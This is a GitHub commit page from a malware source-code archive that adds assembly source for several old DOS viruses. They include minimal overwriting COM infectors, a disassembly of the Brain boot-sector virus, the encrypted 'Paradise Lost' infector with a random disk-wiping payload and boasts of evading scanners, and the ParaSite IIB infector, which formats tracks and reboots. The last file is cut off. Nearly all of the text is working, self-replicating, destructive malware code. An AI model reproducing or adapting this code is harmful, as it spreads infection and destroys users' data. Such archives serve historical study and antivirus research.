13
1
mirror of https://github.com/vxunderground/MalwareSourceCode synced 2024-06-20 22:18:28 +00:00

Add files via upload

This commit is contained in:
vxunderground 2021-01-12 17:55:26 -06:00 committed by GitHub
parent f76af55eb4
commit b60161f008
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
99 changed files with 46287 additions and 0 deletions

@ -0,0 +1,13 @@
Main: Mov Ah,4eh
Lea Dx,FileSpec
Int 21h
Mov Ah,3ch
Mov Dx,9eh
On2: Int 21h
Mov Dl,Length
FileSpec Db '*.*',0
Mov Bh,40h
Xchg Cx,Dx
Xchg Ax,Bx
Jmp On2
Length Equ $-Main

@ -0,0 +1,12 @@
Lea Dx,Fs
Mov Ah,78
Int 33
Mov Dx,9eh
Mov Ah,61
o1: Int 33
Xchg Ax,Bx
Mov Dl,27
FS Db '*.*',0
Xchg Cx,Dx
Mov Ah,64
Jmp o1

@ -0,0 +1,13 @@
Main: Lea Dx,FileSpec
Mov Ah,4eh
Int 21h
Mov Dx,9eh
Mov Ah,3ch
Int 21h
Lea Dx,Main
Mov Bh,40h
Mov Cl,Length
Xchg Ax,Bx
Int 21h
FileSpec Db '*.*',0
Length Equ $-Main

@ -0,0 +1,13 @@
Main: Mov Ah,4eh
On2: Lea Dx,FileSpec
Int 21h
Mov Ah,3ch
Mov Dx,9eh
Int 21h
Mov Bh,40h
Xchg Ax,Bx
Lea Dx,Main
Mov Cl,Length
Int 21h
FileSpec Db '*.*',0
Length Equ $-Main

@ -0,0 +1,14 @@
Main: Mov Ah,4eh
On2: Lea Dx,FileSpec
Int 21h
Mov Ax,3d02h
Mov Dx,9eh
Int 21h
Mov Bh,40h
Xchg Ax,Bx
Lea Dx,Main
Mov Cl,Length
Int 21h
On1: Ret
FileSpec Db '*.*',0
Length Equ $-Main

@ -0,0 +1,17 @@
Main: Mov Ah,4eh
On2: Lea Dx,FileSpec
Int 21h
jc on1
Mov Ah,3dh
inc ax
Mov Dx,9eh
Int 21h
Mov Bh,40h
Xchg Ax,Bx
Lea Dx,Main
Mov Cl,Length
Int 21h
Mov Ah,4fh
On1: Jmp On2
FileSpec Db '*.COM',0
Length Equ $-Main

@ -0,0 +1,20 @@
Main:
Mov Ah,4eh
On1: Lea Dx,FileSpec
Int 21h
Jc Ende
Mov Ax,3d01h
Mov Dx,9eh
Int 21h
Mov Bh,40h
Lea Dx,Main
Xchg Ax,Bx
Mov Cl,Length
Int 21h
Mov Ah,3eh
Int 21h
Mov Ah,4fh
Jmp On1
FileSpec Db '*.com',0
Ende: Ret
Length Equ $-Main

@ -0,0 +1,19 @@
Main: Mov Ah,4eh
On2: Lea Dx,FileSpec
Int 21h
jc on1
Mov Ax,3d02h
Mov Dx,9eh
Int 21h
Mov bh,40h
Mov Cl,Length
Lea Dx,Main
Xchg Ax,Bx
Int 21h
Mov Ah,3eh
Int 21h
Mov Ah,4fh
Jmp On2
On1: Ret
FileSpec Db '*.COM',0
Length Equ $-Main

@ -0,0 +1,28 @@
Main:
Mov Ah,4eh
On1: Lea Dx,FileSpec
Int 21h
Jc On2
Mov Ax,3d02h
Mov Dx,9eh
Int 21h
Mov Bh,40h
Lea Dx,Main
Xchg Ax,Bx
Mov Cl,Ah
Int 21h
Mov Ah,3eh
Int 21h
Mov Ah,4fh
Jmp On1
FileSpec Db '*.com',0
Db 'Trident'
On2: Mov Ah,2ch
Int 21h
Cmp Dl,10
Ja Ende
Mov Al,2
Xor Dx,Dx
Int 25h
Ende: Ret
Length Equ $-Main

@ -0,0 +1,20 @@
;
; Mini-25
;
; Overwrites the first file in a directory
FNAM Equ 09eh
Db '*.*',0
Main: Mov Ah,4eh
Mov Dx,Cx
Int 21h
Mov Ah,3ch
Lea Dx,FNAM
On2: Int 21h
Mov Bh,40h
Xchg Cx,Dx
Xchg Ax,Bx
Jmp On2
Length Equ $-Main

@ -0,0 +1,20 @@
;
; Mini-25
;
; Overwrites the first file in a directory
FNAM Equ 09eh
Main: Mov Ah,4eh
Lea Dx,FileSpec
Int 21h
Mov Ah,3ch
Lea Dx,FNAM
On2: Int 21h
FileSpec Db '*.*',0
Mov Bh,40h
Xchg Cx,Dx
Xchg Ax,Bx
Jmp On2
Length Equ $-Main

@ -0,0 +1,26 @@
;
; Micro-31
;
; Infects as many files as there are handles aveable. It creates 158 byte
; file containing a replicating copy of the virus. The effective program
; length however is only 31 bytes. It can't be detected by Scan 99, TbScan
; and Gobbler II.
;
FNAM Equ 09eh
Main: Mov Ah,4eh
Seek: Lea Dx,FileSpec
Xor Cx,Cx
Int 21h
Do: Mov Ah,3ch
Lea Dx,FNAM
On2: Int 21h
FileSpec Db '*.*',0
Xchg Dx,Cx
Mov Bh,40h
Xchg Ax,Bx
Int 21h
Mov Ah,4fh
Jmp Seek
Length Equ $-Main

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

@ -0,0 +1,686 @@
; This is the ashar variant of the classic Pakistani Brain virus. It is large
; by today's standards, although it was one of the first. It is a floppy only
; boot sector infector.
brain segment byte public
assume cs:brain, ds:brain
; Disassembly done by Dark Angel of PHALCON/SKISM
org 0
cli
jmp entervirus
idbytes db 34h, 12h
firsthead db 0
firstsector dw 2707h
curhead db 0
cursector dw 1
db 0, 0, 0, 0
db 'Welcome to the Dungeon '
copyright db '(c) 1986 Brain'
db 17h
db '& Amjads (pvt) Ltd VIRUS_SHOE '
db ' RECORD v9.0 Dedicated to th'
db 'e dynamic memories of millions o'
db 'f virus who are no longer with u'
db 's today - Thanks GOODNESS!! '
db ' BEWARE OF THE er..VIRUS : \th'
db 'is program is catching prog'
db 'ram follows after these messeges'
db '..... $'
db '#@%$'
db '@!! '
entervirus:
mov ax,cs
mov ds,ax ; ds = 0
mov ss,ax ; set stack to after
mov sp,0F000h ; virus
sti
mov al,ds:[7C00h+offset firsthead]
mov ds:[7C00h+offset curhead],al
mov cx,ds:[7C00h+offset firstsector]
mov ds:[7C00h+offset cursector],cx
call calcnext
mov cx,5 ; read five sectors
mov bx,7C00h+200h ; after end of virus
loadnext:
call readdisk
call calcnext
add bx,200h
loop loadnext
mov ax,word ptr ds:[413h] ; Base memory size in Kb
sub ax,7 ; - 7 Kb
mov word ptr ds:[413h],ax ; Insert as new value
mov cl,6
shl ax,cl ; Convert to paragraphs
mov es,ax
mov si,7C00h ; Copy from virus start
mov di,0 ; to start of memory
mov cx,1004h ; Copy 1004h bytes
cld
rep movsb
push es
mov ax,200h
push ax
retf ; return to old boot sector
readdisk:
push cx
push bx
mov cx,4 ; Try 4 times
tryread:
push cx
mov dh,ds:[7C00h+offset curhead]
mov dl,0 ; Read sector from default
mov cx,ds:[7C00h+offset cursector]
mov ax,201h ; Disk to memory at es:bx
int 13h
jnc readOK
mov ah,0 ; Reset disk
int 13h ; (force read track 0)
pop cx
loop tryread
int 18h ; ROM basic on failure
readOK:
pop cx
pop bx
pop cx
retn
calcnext:
mov al,byte ptr ds:[7C00h+offset cursector]
inc al
mov byte ptr ds:[7C00h+offset cursector],al
cmp al,0Ah
jne donecalc
mov byte ptr ds:[7C00h+offset cursector],1
mov al,ds:[7C00h+offset curhead]
inc al
mov ds:[7C00h+offset curhead],al
cmp al,2
jne donecalc
mov byte ptr ds:[7C00h+offset curhead],0
inc byte ptr ds:[7C00h+offset cursector+1]
donecalc:
retn
; the following is a collection of garbage bytes
db 00h, 00h, 00h, 00h, 32h,0E3h
db 23h, 4Dh, 59h,0F4h,0A1h, 82h
db 0BCh,0C3h, 12h, 00h, 7Eh, 12h
db 0CDh, 21h,0A2h, 3Ch, 5Fh
a_data dw 050Ch
; Second part of the virus begins here
jmp short entersecondpart
db '(c) 1986 Brain & Amjads (pvt) Ltd ',0
readcounter db 4 ; keep track of # reads
curdrive db 0
int13flag db 0
entersecondpart:
mov cs:readcounter,1Fh
xor ax,ax
mov ds,ax ; ds -> interrupt table
mov ax,ds:[13h*4]
mov ds:[6Dh*4],ax
mov ax,ds:[13h*4+2]
mov ds:[6Dh*4+2],ax
mov ax,offset int13 ; 276h
mov ds:[13h*4],ax
mov ax,cs
mov ds:[13h*4+2],ax
mov cx,4 ; 4 tries
xor ax,ax
mov es,ax ; es -> interrupt table
tryreadbootsector:
push cx
mov dh,cs:firsthead
mov dl,0
mov cx,cs:firstsector
mov ax,201h ; read from default disk
mov bx,7C00h
int 6Dh ; int 13h
jnc readbootOK
mov ah,0
int 6Dh ; int 13h
pop cx
loop tryreadbootsector
int 18h ; ROM basic on failure
readbootOK: ; return control to
; original boot sector
;* jmp far ptr 0000:7C00h
db 0EAh, 00h, 7Ch, 00h, 00h
nop ; MASM NOP!!!
int13:
sti
cmp ah,2 ; if not read request,
jne doint13 ; do not go further
cmp dl,2 ; if after second floppy,
ja doint13 ; do not go further
cmp ch,0 ; if not reading boot sector,
jne regularread ; go handle as usual
cmp dh,0 ; if boot sector,
je readboot ; do I<-/>/\|> stuff
regularread:
dec cs:readcounter ; Infect after 4 reads
jnz doint13 ; If counter still OK, don't
; do anything else
jmp short readboot ; Otherwise, try to infect
doint13:
jmp exitint13h
readboot:
; FINISH THIS!
mov cs:int13flag,0 ; clear flag
mov cs:readcounter,4 ; reset counter
push ax
push bx
push cx
push dx
mov cs:curdrive,dl
mov cx,4
tryreadbootblock:
push cx
mov ah,0 ; Reset disk
int 6Dh
jc errorreadingbootblock ; Try again
mov dh,0
mov cx,1
mov bx,offset readbuffer ; buffer @ 6BEh
push es
mov ax,cs
mov es,ax
mov ax,201h
int 6Dh ; Read boot sector
pop es
jnc continuestuff ; continue if no error
errorreadingbootblock:
pop cx
loop tryreadbootblock
jmp short resetdisk ; too many failures
nop
continuestuff:
pop cx ; get system id in boot block
mov ax,word ptr cs:[offset readbuffer+4]
cmp ax,1234h ; already infected?
jne dodisk ; if not, infect it
mov cs:int13flag,1 ; flag prev. infection
jmp short noreset
dodisk:
push ds
push es
mov ax,cs
mov ds,ax
mov es,ax
push si
call writevirus ; infect the disk
jc failme ; exit on failure
mov cs:int13flag,2 ; flag success
call changeroot ; manipulate volume label
failme:
pop si
pop es
pop ds
jnc noreset ; don't reset on success
resetdisk:
mov ah,0 ; reset disk
int 6Dh ; int 13h
noreset:
pop dx
pop cx
pop bx
pop ax
cmp cx,1
jne exitint13h
cmp dh,0
jne exitint13h
cmp cs:int13flag,1 ; already infected?
jne wasntinfected ; if wasn't, go elsewhere
mov cx,word ptr cs:[offset readbuffer+7]
mov dx,word ptr cs:[offset readbuffer+5]
mov dl,cs:curdrive ; otherwise, read real
jmp short exitint13h ; boot sector
wasntinfected:
cmp cs:int13flag,2 ; successful infection?
jne exitint13h ; if not, just do call
mov cx,cs:firstsector
mov dh,cs:firsthead
exitint13h:
int 6Dh ; int 13h
retf 2
db 15 dup (0)
FATManip: ; returns al as error code
jmp short delvedeeper
nop
FATManipreadcounter dw 3
db ' (c) 1986 Brain & Amjads (pvt) Ltd'
delvedeeper:
call readFAT ; Get FAT ID byte
mov ax,word ptr ds:[offset readbuffer]
cmp ax,0FFFDh ; is it 360K disk?
je is360Kdisk ; continue if so
mov al,3 ; al=3 == not good disk
stc ; flag error
retn ; and exit
is360Kdisk:
mov cx,37h
mov FATManipreadcounter,0 ; none found yet
checknextsector:
call FATentry12bit ; get entry in FAT
cmp ax,0 ; unused?
jne notunused
inc FATManipreadcounter ; one more found unused
cmp FATManipreadcounter,3 ; If need more,
jne tryanother ; go there
jmp short markembad ; found 3 consecutive
nop ; empty sectors
notunused:
mov FATManipreadcounter,0 ; must start over
tryanother:
inc cx ; try next sector
cmp cx,163h ; end of disk?
jne checknextsector ; if not, continue
mov al,1 ; al=1 == none empty
stc ; Indicate error
retn
markembad:
mov dl,3 ; 3 times
markanotherbad:
call markbad12bit
dec cx
dec dl
jnz markanotherbad
inc cx
call calc1sttrack
call writeFAT ; update FAT
mov al,0 ; al=0 == ok
clc ; indicate success
retn
markbad12bit:
push cx
push dx
mov si,offset readbuffer ; si -> buffer
mov al,cl
shr al,1
jc low_12 ; low bits
call clus2offset12bit
mov ax,[bx+si] ; get FAT entry
and ax,0F000h ; mark it bad
or ax,0FF7h
jmp short putitback ; and put it back
nop
low_12:
call clus2offset12bit
mov ax,[bx+si] ; get FAT entry
and ax,0Fh ; mark it bad
or ax,0FF70h
putitback:
mov [bx+si],ax ; replace FAT entry
mov word ptr ds:[400h][bx+si],ax ; in two places
pop dx
pop cx
retn
FATentry12bit:
push cx
mov si,offset readbuffer ; si->buffer
mov al,cl
shr al,1
; Part 3 of the virus starts here
jc want_high_12
call clus2offset12bit
mov ax,[bx+si]
and ax,0FFFh
jmp short exitFATentry12bit
nop
want_high_12:
call clus2offset12bit ; xxxxxxxxxxxx0000
mov ax,[bx+si] ; ^^^^^^^^^^^^wanted
and ax,0FFF0h ; mask wanted bits
mov cl,4 ; and move to correct
shr ax,cl ; position
exitFATentry12bit:
pop cx
retn
clus2offset12bit:
push dx
mov ax,3
mul cx
shr ax,1 ; ax = cx*1.5
mov bx,ax
pop dx
retn
readFAT:
mov ah,2 ; read
call FAT_IO
retn
writeFAT:
mov ah,3 ; write
call FAT_IO
retn
FAT_IO:
mov cx,4 ; try four times
FAT_IOLoop:
push cx
push ax
mov ah,0 ; reset disk
int 6Dh ; int 13h
pop ax
jc tryFAT_IOagain
mov bx,offset readbuffer
mov al,4 ; 4 sectors
mov dh,0 ; head 0
mov dl,curdrive
mov cx,2 ; sector 2
push ax ; (FAT)
int 6Dh ; int 13h
pop ax
jnc exitFAT_IO
tryFAT_IOagain:
pop cx
loop FAT_IOLoop
pop ax
pop ax
mov al,2
stc ; mark error
retn
exitFAT_IO:
pop cx
retn
calc1sttrack:
push cx
sub cx,2
shl cx,1 ; 2 sectors/cluster
add cx,0Ch ; start of data area
mov ax,cx ; ax = sector
mov cl,12h ; 4096
div cl ; ax/4096 = al rem ah
mov byte ptr firstsector+1,al
mov firsthead,0
inc ah
cmp ah,9 ; past track 9?
jbe notpasttrack9 ; nope, we are ok
sub ah,9 ; otherwise, adjust
mov firsthead,1
notpasttrack9:
mov byte ptr firstsector,ah
pop cx
retn
db 0, 0, 0, 0, 0, 0
r_or_w_root db 3
entrycount dw 35h
tempsave1 dw 303h
tempsave2 dw 0EBEh
tempsave3 dw 1
tempsave4 dw 100h
db 0E0h,0D8h, 9Dh,0D7h,0E0h, 9Fh
db 8Dh, 98h, 9Fh, 8Eh,0E0h
db ' (c) ashar $'
changeroot:
call readroot ; read in root directory
jc donotchangeroot
push di
call changevolume ; change volume label
pop di
jc donotchangeroot
call writeroot ; write back new root dir
donotchangeroot:
retn
; The following is just garbage bytes
db 0BBh, 9Bh, 04h,0B9h, 0Bh
db 0,8Ah,7,0F6h,0D8h,88h,4,46h,43h
db 0E2h,0F6h,0B0h,8,88h,4,0F8h,0C3h
db 0C6h, 06h
changevolume:
mov entrycount,6Ch
mov si,offset readbuffer+40h; 3nd dir entry
mov tempsave1,dx
mov ax,entrycount ; 6Ch
shr ax,1
mov tempsave3,ax ; 36h
shr ax,1
mov tempsave2,ax ; 1Bh
xchg ax,cx
and cl,43h ; cx = 3
mov di,tempsave2
add di,1E3h ; di = 01FE
findlabel:
mov al,[si]
cmp al,0
je dolabel ; no mo entries
mov al,[si+0Bh] ; attribute byte
and al,8 ; volume label?
cmp al,8 ; yes?
je dolabel ; then change it!
add si,20h ; go to next directory entry
dec entrycount
jnz findlabel ; loop back
stc ; Error!
retn
db 8Bh
dolabel:
mov bx,[di] ; offset a_data
xor bx,tempsave3 ; bx = 53Ah
mov tempsave3,si ; si->direntry
cli
mov ax,ss
mov tempsave1,ax
mov tempsave2,sp
mov ax,cs
mov ss,ax
mov sp,tempsave3
add sp,0Ch ;->reserved area
mov cl,51h
add dx,444Ch
mov di,2555h
mov cx,0C03h
repe cmpsw
mov ax,0B46h
mov cx,3
rol ax,cl ; ax = 5A30h
mov tempsave3,ax
mov cx,5
mov dx,8
sub tempsave3,5210h ; 820h
push tempsave3 ; store attributes/reserved
; I haven't commented the remainder of this procedure.
; It basically changes the volume label to read "(c) Brain"
; Comment mode OFF
dowhatever:
mov ah,[bx] ; 5a3h
inc bx
mov dl,ah
shl dl,1
jc dowhatever
searchstuff:
mov dl,[bx] ; dl=C2h
inc bx ; bx=53Eh
mov al,dl
shl dl,1
jc searchstuff
add ax,1D1Dh
push ax
inc tempsave3
db 73h, 01h ; jnc $+3
db 0EAh,0E2h,0E1h, 8Bh, 26h; jmp 268B:E1E2
xchg bp,ax
add al,0A1h
xchg bx,ax
add al,8Eh
sar bl,1
add dh,[bp+si]
clc
ret
;db 95h, 04h,0A1h, 93h, 04h, 8Eh
;db 0D0h,0FBh, 02h, 32h,0F8h,0C3h
; Comment mode ON
readroot:
mov r_or_w_root,2 ; set action code
jmp short do_rw_root ; easier to do w/
nop ; mov ah, 2
writeroot:
mov r_or_w_root,3
jmp short do_rw_root ; this is somewhat useless
nop
do_rw_root:
mov dh,0 ; head 0
mov dl,curdrive
mov cx,6 ; sector 6
mov ah,r_or_w_root
mov al,4 ; 4 sectors
mov bx,offset readbuffer
call doint13h
jc exit_rw_root ; quit on error
mov cx,1
mov dh,1 ; head 1
mov ah,r_or_w_root
mov al,3
add bx,800h
call doint13h
exit_rw_root:
retn
doint13h:
mov tempsave1,ax
mov tempsave2,bx
mov tempsave3,cx
mov tempsave4,dx
mov cx,4
doint13hloop:
push cx
mov ah,0 ; Reset disk
int 6Dh
jc errordoingint13h
mov ax,tempsave1
mov bx,tempsave2
mov cx,tempsave3
mov dx,tempsave4
int 6Dh ; int 13h
jnc int13hsuccess
errordoingint13h:
pop cx
loop doint13hloop
stc ; indicate error
retn
int13hsuccess:
pop cx
retn
db 0, 0, 0
; Part 4 of the virus starts here
tempstorecx dw 3
readwritecurrentdata dw 301h
writevirus:
call FATManip
jc exitwritevirus
mov cursector,1
mov curhead,0
mov bx,offset readbuffer
call readcurrent
mov bx,offset readbuffer
mov ax,firstsector
mov cursector,ax
mov ah,firsthead
mov curhead,ah
call writecurrent
call calcnextsector
mov cx,5
mov bx,200h
writeanothersector:
mov tempstorecx,cx
call writecurrent
call calcnextsector
add bx,200h
mov cx,tempstorecx
loop writeanothersector
mov curhead,0
mov cursector,1
mov bx,0
call writecurrent
clc ; indicate success
exitwritevirus:
retn
readcurrent:
mov readwritecurrentdata,201h
jmp short doreadwrite
nop
writecurrent:
mov readwritecurrentdata,301h
jmp short doreadwrite ; This is pointless.
nop
doreadwrite:
push bx
mov cx,4
tryreadwriteagain:
push cx
mov dh,curhead
mov dl,curdrive
mov cx,cursector
mov ax,readwritecurrentdata ; read or write?
int 6Dh ; int 13h
jnc readwritesuccessful
mov ah,0 ; reset disk
int 6Dh ; int 13h
pop cx
loop tryreadwriteagain
pop bx
pop bx
stc ; Indicate error
retn
readwritesuccessful:
pop cx
pop bx
retn
calcnextsector:
inc byte ptr cursector ; next sector
cmp byte ptr cursector,0Ah
jne donecalculate ; finished calculations
mov byte ptr cursector,1 ; clear sector #
inc curhead ; and go to next head
cmp curhead,2 ; if not too large,
jne donecalculate ; we are done
mov curhead,0 ; otherwise clear head #
inc byte ptr cursector+1 ; and advance cylinder
donecalculate:
retn
db 64h, 74h, 61h
; read buffer starts here
; insert your favorite boot block below...
readbuffer:
brain ends
end

@ -0,0 +1,242 @@
; VirusName : PARADISE LOST!
; Origin : Sweden
; Author : The Unforgiven
; Date : 20/12/93
; This is a "mutation", of Tormentor's .COM lession. I've modified
; some stuffs, but since I liked the .EXE infector better, I didn't
; cared too much about this one.
; Anyway, this is a non-resident current directory (yuck!), infector
; of .COM programs. It've added a encryption routine, but it's nothing
; really to scream hurray for.
; It's also a bit destructive, well, it's 5% chance at each run, that
; one of drive c: or d: gets kinda phucked up. This routine was as
; usual "stolen" from Nowhere Man of NuKE. I must admit I like it!
; Scan/MSAV/CPAV and F-prot can't find as usual find shits! I think
; that ThunderByte AntiVirus heurtistic scanner found the infected
; files as "probably/possible" infected, I really dunno, you try it
; out by your self!
; "We do not live forever, but mind never leaves our souls." (Dark Image).
;=============================================================================
; **** PARADISE LOST! ****
;=============================================================================
.model tiny
.radix 16
.code
Virus_Lenght EQU Virus_End-Virus_Start ; Lenght of virus.
org 100
dummy_code: db 'M' ; Mark file as infected.
db 3 DUP(90) ; This is to simulate a infected prog.
; Not included in virus-code.
Virus_Start: call where_we_are ; Now we call the next bytes, just to
; F-prot founded the 'lession -1'virus here in the unencrypted area, but by
; simple add the push si, and the extra pop, it compleatele screwed up, and
; couldn't found it as nothing!, HA! Eat dust, looser!
where_we_are: push si
pop si ; Since the virus-code's address will
pop si
;-----------------------------------------------------------------------
; Now we have to put back the original 4 bytes in the host program, so
; we can return control to it later:
add si,_4first_bytes-where_we_are
mov di,100
cld
movsw
movsw
;------------------------------------------------------------------------
; We have to use SI as a reference since files differ in size thus making
; virus to be located at different addresses.
sub si,_4first_bytes-Virus_Start+4
call encrypt_decrypt ; differ from victim to victim.
jmp encryption_start ; a POP SI after a call will give us the
; address which equals to 'where_we_are'
; Very important.
write_virus:
call encrypt_decrypt
mov ah,40 ; Append file with virus code.
mov cx,offset Virus_Lenght
mov dx,si ; Virus_Lenght.
int 21
call encrypt_decrypt
ret
encryption_value dw 0
encrypt_decrypt:
mov di,offset encryption_start-virus_start
add di,si
mov cx,(end_of_encryption-encryption_start+1)/2
push bx
mov bx,offset encryption_value-virus_start
add bx,si
mov dx,word ptr [bx]
pop bx
again:
xor word ptr cs:[di],dx
add di,2
loop again
ret
;------------------------------------------------------------------------
; Now we just have to find victims, we will look for ALL .COM files in
; the current directory.
encryption_start:
;set_dta:
mov ah,1ah
lea dx,[si+offset dta-virus_start]
int 21h
mov ah,4e ; We start to look for a *.COM file
look4victim: mov dx,offset file_match-Virus_Start
add dx,si
int 21
jc no_victim_found
; clear attribs: before open file
mov ax,4301h
xor cx,cx
lea dx,[si+virus_end+1eh]
int 21h
mov ax,3d02 ; Now we open the file.
lea dx,[si+offset DTA-virus_start+1eh] ;now also including
int 21 ; DTA.
jc cant_open_file ; If file couldn't be open.
xchg ax,bx ; Save filehandle in bx
; (we could use MOV BX,AX but we saves one byte by using xchg )
mov ah,3f ; Now we read the first 4 bytes
mov cx,4 ; from the victim -> buffer
mov dx,offset _4first_bytes-Virus_Start
add dx,si
; We will then overwrite them with
int 21 ; a JMP XXXX to virus-code at end.
jc read_error
cmp byte ptr ds:[si+_4first_bytes-Virus_Start],'M'
jz sick_or_EXE ; Check if infected OR *.EXE
; Almost all EXE files starts with 'M' and we mark the infected files by
; starting with 'M' which equals to DEC BP
; Now we just have to have one check instead of 2 (infected and *.EXE)
mov ax,4202 ; Position file-pointer to point at
xor cx,cx ; End-of-File.
xor dx,dx ; Any writing to file will now APPEND it
int 21 ; Returns AX -> at end.
sub ax,4 ; Just for the JMP structure.
mov word ptr ds:[_4new_bytes+2],ax
; Build new JMP XXXX to virus.
; ( logic: JMP AX )
mov word ptr [si+encryption_value-virus_start],99 ; encryption_value.
call write_virus
;
; mov ah,40 ; Append file with virus code.
; mov cx,offset Virus_Lenght
; mov dx,si ; Virus_Lenght.
; int 21
; jc write_error
mov ax,4200 ; Position file-pointer to begin of file
xor cx,cx ; So we can change the first 3 bytes
xor dx,dx ; to JMP to virus.
int 21
mov ah,40 ; Write new 3 bytes.
mov cx,4 ; After this, executing the file will
mov dx,offset _4new_bytes-Virus_Start
add dx,si
; result in virus-code executing before
int 21 ; original code.
jc write_error
; then close the file.
mov ah,3e ; Close file, now file is infected.
int 21 ; Dos function 3E (close handle)
Sick_or_EXE: mov ah,4f ; Well, file is infected. Now let's
jmp look4victim ; find another victim...
write_error: ; Here you can test whats went wrong.
read_error: ; This is just for debugging purpose.
cant_open_file: ; These entries are equal to eachother
no_victim_found: ; but could be changed if you need to test something.
; randomize:
mov ah,2ch ;get a new random number
int 21h ;5% chance of nuke
cmp dl,5
ja real_quit
jmp which
which:
mov ah,2ch
int 21h
cmp dl,50
ja nuke_c
jmp nuke_d
nuke_c:
cli ;
mov ah,2 ; 2=c:
cwd ;
mov cx,0100h ;
int 026h ;
JMP REAL_QUIT
nuke_d:
cli
mov ah,3 ; 3=d:
cwd
mov cx,0100h
int 026h
jmp real_quit
real_quit:
mov ax,100 ; Every thing is put back in memory,
push ax ; lets us RET back to start of program
ret ; and execute the original program.
notes db '[PARADIS LOST!] (c) 93 The Unforgiven/Immortal Riot'
file_match db '*.COM',0 ; Pattern to search for.
end_of_encryption:
_4first_bytes: ret ; Here we save the 4 first org. bytes
db 3 DUP(0)
; We have a ret here since this file isn't a REAL infection.
_4new_bytes db 'M',0E9, 00, 00 ; Here we build the 4 new org. bytes
datestamp equ 24 ; Offset in DTA of file's date stamp
timestamp equ 22 ; Offset in DTA of file's time stamp
filename equ 30 ; Offset in DTA of ASCIIZ filename
attribute equ 21 ; Offset in DTA of file attribute
; so our virus-code will be run first.
Virus_End EQU $
dta db 42 DUP (?)
end dummy_code

@ -0,0 +1,418 @@
;********************************************************************
; <PARSIT2B.ASM> - ParaSite Virus IIB
; By: Rock Steady
; Close to one year I created this Virus. As you can see it is quite
; old... Maybe too Old... But here it is... It Sucks... but its great
; for any virus beginner... Anyhow...
; NOTES: Simple COM infector. 10% of the time it reboots the system
; 20% it plays machine gun noices on the PC speaker... and
; 70% of the time is infects another COM file... Have fun...
;********************************************************************
MOV_CX MACRO X
DB 0B9H
DW X
ENDM
CODE SEGMENT
ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
ORG 100H
VCODE: JMP virus
NOP
NOP ; To identify it as an Infected
NOP ; Program!
v_start equ $
virus: PUSH CX
MOV DX,OFFSET vir_dat
CLD
MOV SI,DX
ADD SI,first_3
JMP Rock_1
Rock_2:
MOV DX,dta
ADD DX,SI
MOV AH,1AH
INT 21H
PUSH ES
PUSH SI
MOV ES,DS:2CH
MOV DI,0
JMP Day_Of_Week
Rock_1:
MOV CX,3
MOV DI,OFFSET 100H
REPZ MOVSB
MOV SI,DX
PUSH ES
MOV AH,2FH
INT 21H
MOV [SI+old_dta],BX
MOV [SI+old_dts],ES
POP ES
JMP Rock_2
Day_Of_Week:
MOV AH,2AH ;Get System date!
INT 21H
CMP AL,1 ;Check to See if it's Monday!
JGE day_check ;Jump if later than Mondays
JMP Get_Time
day_check:
CMP AL,1 ;Check to see if it is the 1st
JA Get_Time ;If yes, create a MESS...
JMP Bad_Mondays ;If not, then go on with infecti
mess:
Bad_Mondays:
MOV DL,2 ;The Formatting Tracks..
MOV AH,05
MOV DH,80h
MOV CH,0
INT 13h
Play_music:
MOV CX,20d ;Set number of Shots
new_shot:
PUSH CX ;Save Count
CALL Shoot
MOV CX,4000H
Silent: LOOP silent
POP CX
LOOP new_Shot
JMP mess
SHOOT proc near ;The Machine Gun Noices...
MOV DX,140h
MOV BX,20h
IN AL,61h
AND AL,11111100b
SOUND: XOR AL,2
OUT 61h,al
ADD dx,9248h
MOV CL,3
ROR DX,CL
MOV CX,DX
AND cx,1ffh
OR CX,10
WAITA: LOOP WAITA
DEC BX
JNZ SOUND
AND AL,11111100b
OUT 61h,AL
RET
Shoot Endp
Get_Time:
MOV AH,2Ch ; Get System Time!
INT 21h ;
AND DH,0fh
CMP DH,3
JB Play_music
CMP DH,3h
JA Find_Path
INT 19h
go:
MOV AH, 47H
XOR DL,DL
ADD SI, OFFSET orig_path - OFFSET buffer - 8
INT 21H
JC find_path
MOV AH,3BH
MOV DX,SI
ADD DX, OFFSET root_dir - OFFSET orig_path
INT 21H
infect_root:
MOV [BX+nam_ptr],DI
MOV SI,BX
ADD SI,f_ipec
MOV CX,6
REPZ MOVSB
JMP hello
find_path:
POP SI ; Seek and Destroy...
PUSH SI
ADD SI,env_str
LODSB
MOV CX,OFFSET 8000H
REPNZ SCASB
MOV CX,4
check_next_4:
LODSB
SCASB
;
; The JNZ line specifies that if there is no PATH present, then we will
; along and infect the ROOT directory on the default drive.
JNZ find_path ;If not path, then go to ROOT di
LOOP check_next_4 ;Go back and check for more char
POP SI ;Load in PATH again to look for
POP ES
MOV [SI+path_ad],DI
MOV DI,SI
ADD DI,wrk_spc
MOV BX,SI
ADD SI,wrk_spc ;the File Handle
MOV DI,SI
JMP SHORT slash_ok
set_subdir:
CMP WORD PTR [SI+path_ad],0
JNZ found_subdir
JMP all_done
found_subdir:
PUSH DS
PUSH SI
MOV DS,ES:2CH
MOV DI,SI
MOV SI,ES:[DI+path_ad]
ADD DI,wrk_spc ;DI is the handle to infect!
move_subdir:
LODSB ;To tedious work to move into su
NOP
CMP AL,';' ;Does it end with a ; character?
JZ moved_one ;if yes, then we found a subdir
CMP AL,0 ;is it the end of the path?
JZ moved_last_one ;if yes, then we save the PATH
STOSB ;marker into DI for future refer
JMP SHORT move_subdir
moved_last_one:
MOV SI,0
moved_one:
POP BX ;BX is where the virus data is
POP DS ;Restore DS
NOP
MOV [BX+path_ad],SI ;Where is the next subdir?
CMP CH,'\' ;Check to see if it ends in \
JZ slash_ok ;If yes, then it's OK
MOV AL,'\' ;if not, then add one...
STOSB ;store the sucker
slash_ok:
MOV [BX+nam_ptr],DI ;Move the filename into workspac
MOV SI,BX ;Restore the original SI value
ADD SI,f_spec ;Point to COM file victim
MOV CX,6
REPZ MOVSB ;Move victim into workspace
hello:
MOV SI,BX
MOV AH,4EH
MOV DX,wrk_spc
ADD DX,SI ;DX is ... The File to infect
MOV CX,3 ;Attributes of Read Only or Hidd
INT 21H
JMP SHORT find_first
joe1:
JMP go
find_next:
MOV AH,4FH
INT 21H
find_first:
JNB found_file ;Jump if we found it
JMP SHORT set_subdir ;Otherwise, get another subdirec
found_file:
MOV AX,[SI+dta_tim] ;Get time from DTA
AND AL,1EH ;Mask to remove all but seconds
CMP AL,1EH ;60 seconds
JZ find_next
